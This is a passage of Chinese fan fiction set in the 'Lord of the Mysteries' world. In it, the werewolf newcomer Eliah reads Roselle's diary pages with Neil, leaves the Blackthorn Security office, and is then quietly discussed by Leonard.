“你要是好奇的话,我这里还有几页罗塞尔日记,你可以看看。”尼尔从纸堆里扒拉出几张泛黄的书页,递给伊莱亚。
伊莱亚自然是高高兴兴地接过:“非常感谢您!”
然后把这几张纸和今天准备在这里看完的资料放在一起,预备着等会再看。
“你们小年轻好像都挺喜欢罗塞尔日记啊,上次克莱恩也对这个挺好奇的。”
“克莱恩也关注这个?那个占卜家?”
“对,他是占卜家序列的,也是值夜者的新人,就比你早几天进我们小队。在这方面,你们倒是可以有共同语言了。”尼尔的脸上依旧带着笑容。
伊莱亚若有所思地点点头,继续埋首于资料,时不时询问几个问题,而尼尔也都一一给出了解答。
一整个白天过去,伊莱亚也把资料看完了。
这时候已经不算早,尼尔已经下班并且交代过他,让他走的时候把资料收拾好放在桌上,然后把门锁好就行。
他深吸一口气,感觉自己狼人的身体都已经有些滞涩疲惫了,于是长长的伸了个懒腰,关上了煤气灯和门,又和身为“不眠者”序列,对睡眠的需求极少,所以常在夜间负责值班的伦纳德打了个招呼,走出了黑荆棘安保公司。
在他背后,黑发碧眼的英俊值夜者把目光从伊莱亚的背影上挪开,一副沉思的样子,声音压的很低:“老头,你看的出来他是什么人吗?”